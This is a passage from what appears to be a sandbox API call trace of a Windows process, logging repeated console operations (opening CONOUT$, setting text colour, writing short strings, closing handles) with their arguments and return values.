	[0087.730] WriteConsoleW (in: hConsoleOutput=0x53, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.730] GetLastError () returned 0xcb
	[0087.730] CloseHandle (hObject=0x53) returned 1
	[0087.731] GetLastError () returned 0xcb
	[0087.735] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53
	[0087.735] GetLastError () returned 0xcb
	[0087.735] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.736] GetLastError () returned 0xcb
	[0087.736] GetConsoleOutputCP () returned 0x1b5
	[0087.736] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.736] GetLastError () returned 0xcb
	[0087.741] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57
	[0087.741] GetLastError () returned 0xcb
	[0087.741] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.741] GetLastError () returned 0xcb
	[0087.745] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b
	[0087.745] GetLastError () returned 0xcb
	[0087.745] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.745] GetLastError () returned 0xcb
	[0087.748] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f
	[0087.749] GetLastError () returned 0xcb
	[0087.749] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.749] GetLastError () returned 0xcb
	[0087.749] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0xc) returned 1
	[0087.749] GetLastError () returned 0xcb
	[0087.749] CloseHandle (hObject=0x5f) returned 1
	[0087.749] GetLastError () returned 0xcb
	[0087.753] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f
	[0087.753] GetLastError () returned 0xcb
	[0087.753] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.754] GetLastError () returned 0xcb
	[0087.754] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0xc) returned 1
	[0087.754] GetLastError () returned 0xcb
	[0087.754] CloseHandle (hObject=0x5f) returned 1
	[0087.754] GetLastError () returned 0xcb
	[0087.757] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f
	[0087.758] GetLastError () returned 0xcb
	[0087.758] GetConsoleMode (in: hConsoleHandle=0x5f, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.758] GetLastError () returned 0xcb
	[0087.758] WriteConsoleW (in: hConsoleOutput=0x5f, lpBuffer=0x2c44a94*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c44a94*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0087.758] GetLastError () returned 0xcb
	[0087.758] CloseHandle (hObject=0x5f) returned 1
	[0087.758] GetLastError () returned 0xcb
	[0087.762] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f
	[0087.762] GetLastError () returned 0xcb
	[0087.762] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.762] GetLastError () returned 0xcb
	[0087.762] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1
	[0087.762] GetLastError () returned 0xcb
	[0087.762] CloseHandle (hObject=0x5f) returned 1
	[0087.762] GetLastError () returned 0xcb
	[0087.766] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f
	[0087.766] GetLastError () returned 0xcb
	[0087.766] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.767] GetLastError () returned 0xcb
	[0087.767] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1
	[0087.767] GetLastError () returned 0xcb
	[0087.767] CloseHandle (hObject=0x5f) returned 1
	[0087.767] GetLastError () returned 0xcb
	[0087.770] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f
	[0087.771] GetLastError () returned 0xcb
	[0087.771] GetConsoleMode (in: hConsoleHandle=0x5f, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.771] GetLastError () returned 0xcb
	[0087.771] WriteConsoleW (in: hConsoleOutput=0x5f, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.771] GetLastError () returned 0xcb
	[0087.771] CloseHandle (hObject=0x5f) returned 1
	[0087.771] GetLastError () returned 0xcb
	[0087.775] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f
	[0087.775] GetLastError () returned 0xcb
	[0087.775] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.775] GetLastError () returned 0xcb
	[0087.775] GetConsoleOutputCP () returned 0x1b5
	[0087.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.775] GetLastError () returned 0xcb
	[0087.778] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x63
	[0087.779] GetLastError () returned 0xcb
	[0087.779] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.779] GetLastError () returned 0xcb
	[0087.782] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67
	[0087.782] GetLastError () returned 0xcb
	[0087.782] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.783] GetLastError () returned 0xcb
	[0087.786] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b
	[0087.786] GetLastError () returned 0xcb
	[0087.786] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.786] GetLastError () returned 0xcb
	[0087.786] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0xc) returned 1
	[0087.786] GetLastError () returned 0xcb
	[0087.786] CloseHandle (hObject=0x6b) returned 1
	[0087.787] GetLastError () returned 0xcb
	[0087.790] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b
	[0087.791] GetLastError () returned 0xcb
	[0087.791] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.791] GetLastError () returned 0xcb
	[0087.791] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0xc) returned 1
	[0087.791] GetLastError () returned 0xcb
	[0087.791] CloseHandle (hObject=0x6b) returned 1
	[0087.791] GetLastError () returned 0xcb
	[0087.794] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b
	[0087.795] GetLastError () returned 0xcb
	[0087.795] GetConsoleMode (in: hConsoleHandle=0x6b, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.795] GetLastError () returned 0xcb
	[0087.795] WriteConsoleW (in: hConsoleOutput=0x6b, lpBuffer=0x2c45058*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c45058*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0087.795] GetLastError () returned 0xcb
	[0087.795] CloseHandle (hObject=0x6b) returned 1
	[0087.795] GetLastError () returned 0xcb
	[0087.799] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b
	[0087.799] GetLastError () returned 0xcb
	[0087.799] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.800] GetLastError () returned 0xcb
	[0087.800] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0x7) returned 1
	[0087.800] GetLastError () returned 0xcb
	[0087.800] CloseHandle (hObject=0x6b) returned 1
	[0087.800] GetLastError () returned 0xcb
	[0087.805] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b
	[0087.805] GetLastError () returned 0xcb
	[0087.805] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.805] GetLastError () returned 0xcb
	[0087.805] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0x7) returned 1
	[0087.805] GetLastError () returned 0xcb
	[0087.806] CloseHandle (hObject=0x6b) returned 1
	[0087.806] GetLastError () returned 0xcb
	[0087.810] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b
	[0087.810] GetLastError () returned 0xcb
	[0087.810] GetConsoleMode (in: hConsoleHandle=0x6b, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.810] GetLastError () returned 0xcb
	[0087.810] WriteConsoleW (in: hConsoleOutput=0x6b, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.810] GetLastError () returned 0xcb
	[0087.811] CloseHandle (hObject=0x6b) returned 1
	[0087.811] GetLastError () returned 0xcb
	[0087.815] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b
	[0087.815] GetLastError () returned 0xcb
	[0087.815] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.815] GetLastError () returned 0xcb
	[0087.815] GetConsoleOutputCP () returned 0x1b5
	[0087.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.815] GetLastError () returned 0xcb
	[0087.819] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f
	[0087.819] GetLastError () returned 0xcb
	[0087.819] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.819] GetLastError () returned 0xcb
	[0087.823] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x73
	[0087.823] GetLastError () returned 0xcb
	[0087.823] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x73, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.823] GetLastError () returned 0xcb
	[0087.826] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77
	[0087.827] GetLastError () returned 0xcb
	[0087.827] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.827] GetLastError () returned 0xcb
	[0087.827] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0xc) returned 1
	[0087.827] GetLastError () returned 0xcb
	[0087.827] CloseHandle (hObject=0x77) returned 1
	[0087.828] GetLastError () returned 0xcb
	[0087.831] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77
	[0087.831] GetLastError () returned 0xcb
	[0087.831] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.831] GetLastError () returned 0xcb
	[0087.831] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0xc) returned 1
	[0087.831] GetLastError () returned 0xcb
	[0087.831] CloseHandle (hObject=0x77) returned 1
	[0087.832] GetLastError () returned 0xcb
	[0087.835] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77
	[0087.835] GetLastError () returned 0xcb
	[0087.835] GetConsoleMode (in: hConsoleHandle=0x77, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.836] GetLastError () returned 0xcb
	[0087.836] WriteConsoleW (in: hConsoleOutput=0x77, lpBuffer=0x2c4561c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c4561c*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0087.836] GetLastError () returned 0xcb
	[0087.836] CloseHandle (hObject=0x77) returned 1
	[0087.836] GetLastError () returned 0xcb
	[0087.840] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77
	[0087.840] GetLastError () returned 0xcb
	[0087.840] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.840] GetLastError () returned 0xcb
	[0087.840] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1
	[0087.840] GetLastError () returned 0xcb
	[0087.840] CloseHandle (hObject=0x77) returned 1
	[0087.841] GetLastError () returned 0xcb
	[0087.844] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77
	[0087.844] GetLastError () returned 0xcb
	[0087.844] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.844] GetLastError () returned 0xcb
	[0087.845] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1
	[0087.845] GetLastError () returned 0xcb
	[0087.845] CloseHandle (hObject=0x77) returned 1
	[0087.845] GetLastError () returned 0xcb
	[0087.849] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77
	[0087.849] GetLastError () returned 0xcb
	[0087.849] GetConsoleMode (in: hConsoleHandle=0x77, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.849] GetLastError () returned 0xcb
	[0087.849] WriteConsoleW (in: hConsoleOutput=0x77, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.849] GetLastError () returned 0xcb
	[0087.849] CloseHandle (hObject=0x77) returned 1
	[0087.849] GetLastError () returned 0xcb
	[0087.853] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77
	[0087.853] GetLastError () returned 0xcb
	[0087.853] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.853] GetLastError () returned 0xcb
	[0087.853] GetConsoleOutputCP () returned 0x1b5
	[0087.853] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.853] GetLastError () returned 0xcb
	[0087.858] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b
	[0087.858] GetLastError () returned 0xcb
	[0087.858] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.858] GetLastError () returned 0xcb
	[0087.861] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f
	[0087.862] GetLastError () returned 0xcb
	[0087.862] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.862] GetLastError () returned 0xcb
	[0087.865] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83
	[0087.865] GetLastError () returned 0xcb
	[0087.865] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.866] GetLastError () returned 0xcb
	[0087.866] SetConsoleTextAttribute (hConsoleOutput=0x83, wAttributes=0xc) returned 1
	[0087.866] GetLastError () returned 0xcb
	[0087.866] CloseHandle (hObject=0x83) returned 1
	[0087.866] GetLastError () returned 0xcb
	[0087.869] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83
	[0087.869] GetLastError () returned 0xcb
	[0087.870] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.870] GetLastError () returned 0xcb
	[0087.870] SetConsoleTextAttribute (hConsoleOutput=0x83, wAttributes=0xc) returned 1
	[0087.870] GetLastError () returned 0xcb
	[0087.870] CloseHandle (hObject=0x83) returned 1
	[0087.870] GetLastError () returned 0xcb
	[0087.873] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83
	[0087.873] GetLastError () returned 0xcb
	[0087.873] GetConsoleMode (in: hConsoleHandle=0x83, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.874] GetLastError () returned 0xcb
	[0087.874] WriteConsoleW (in: hConsoleOutput=0x83, lpBuffer=0x2c45af8*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c45af8*, lpNumberOfCharsWritten=0x5eaefcc*=0x1e) returned 1
	[0087.874] GetLastError () returned 0xcb
	[0087.874] CloseHandle (hObject=0x83) returned 1
	[0087.874] GetLastError () returned 0xcb
	[0087.877] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83
	[0087.878] GetLastError () returned 0xcb
	[0087.878] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.878] GetLastError () returned 0xcb
	[0087.878] SetConsoleTextAttribute (hConsoleOutput=0x83, wAttributes=0x7) returned 1
	[0087.878] GetLastError () returned 0xcb
	[0087.878] CloseHandle (hObject=0x83) returned 1
	[0087.878] GetLastError () returned 0xcb
	[0087.881] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83
	[0087.882] GetLastError () returned 0xcb
	[0087.882] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.882] GetLastError () returned 0xcb
	[0087.882] SetConsoleTextAttribute (hConsoleOutput=0x83, wAttributes=0x7) returned 1
	[0087.882] GetLastError () returned 0xcb
	[0087.882] CloseHandle (hObject=0x83) returned 1
	[0087.882] GetLastError () returned 0xcb
	[0087.886] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83
	[0087.886] GetLastError () returned 0xcb
	[0087.886] GetConsoleMode (in: hConsoleHandle=0x83, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.886] GetLastError () returned 0xcb
	[0087.886] WriteConsoleW (in: hConsoleOutput=0x83, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.886] GetLastError () returned 0xcb
	[0087.886] CloseHandle (hObject=0x83) returned 1
	[0087.886] GetLastError () returned 0xcb
	[0087.890] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83
	[0087.890] GetLastError () returned 0xcb
	[0087.890] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.890] GetLastError () returned 0xcb
	[0087.890] GetConsoleOutputCP () returned 0x1b5
	[0087.890] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.890] GetLastError () returned 0xcb
	[0087.894] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x87
	[0087.894] GetLastError () returned 0xcb
	[0087.894] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x87, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.894] GetLastError () returned 0xcb
	[0087.897] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8b
	[0087.897] GetLastError () returned 0xcb
	[0087.897] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.898] GetLastError () returned 0xcb
	[0087.902] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f
	[0087.902] GetLastError () returned 0xcb
